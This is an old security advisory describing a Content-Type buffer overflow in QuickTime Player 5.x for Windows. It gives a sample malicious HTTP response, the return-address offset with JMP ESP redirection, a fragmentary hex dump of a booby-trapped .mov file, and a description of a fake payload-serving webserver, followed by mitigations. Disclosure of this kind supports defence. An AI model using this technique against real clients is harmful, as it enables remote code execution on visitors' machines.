COMMAND
Apple QuickTime Player \"Content-Type\" Buffer Overflow
SYSTEMS AFFECTED
Tested on : QuickTime Player 5.01,5.02 for Windows (Japanese)
PROBLEM
In UNYUN\'s \"Shadow Penguin\" [http://www.shadowpenguin.org] advisory
[#46] :
QuickTime Player overflows when web server sends HTTP response that
contains long \"Content-Type\". This buffer overflow overwrites the
local buffer, the codes which are written in \"Content-Type\" string
can be executed on the client host. Furthermore, QuickTime player sets
the version of QuickTime Player and OS (including service pack
information) to User-Agent. So, faked webserver can send EIP and egg
code which are appropriate for environment of connected client.
Sample exploit
==============
HTTP/1.1 200 OK
Date: Wed, 06 Feb 2002 06:56:30 GMT
Server: Apache/1.3.19
Last-Modified: Tue, 15 May 2001 13:37:51 GMT
ETag: \"1e001d-7b5-3b01312f\"
Accept-Ranges: bytes
Content-Length: 1973
Content-Type: aaaaaaaaaaaa.. long string ..aaaaaaaaaaaaa
You can confirm the buffer overflow if you specify long string (about
500bytes) at the line of Content-Type. RET address is stored in offset
456, if the address of JMP ESP code is specified to RET address, the
code written in the buffer for Content-Type is executed.
You can create mov file that links to faked webserver as follows.
exploit.mov :
ADDRESS 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 0123456789ABCDEF

00000040 6F 76 00 ov.
If such mov file is referenced by META tag, QuickTime overflows when
visitor opens the web page.

Sample code
===========
This code is faked webserver that sends Content-Type contains sample
code. This code provide TCP service at port 2222. This faked webserver
checks User- Agent which is set by QuickTime Player and sets the
appropriate EIP and egg code (for WindowsXp(home)/2000(pro)/98(SE)). If
QuickTime Player connects to this faked webserver, all processes are
terminated and logged off (In case of Window98, shutdown code is
executed). This code can be compiled by Visual C++ 6.0. This sample
code was checked under the environment of QuickTime Player5.02/5.01 for
Windows(Japanese), WindowsXp Home(Japanese), Windows2000 Professional
SP2(Japanese), and Windows98 Second Edition (Japanese).

SOLUTION
If you use Internet Explorer, you can avoid this problem if ActiveX is
disabled. If you open mov file by QuickTime Player, you must check the
mov file, check whether hyper link is included. If hyper link is
specified in mov file, you must check the \"Content-Type\" which is
sent from webserver.
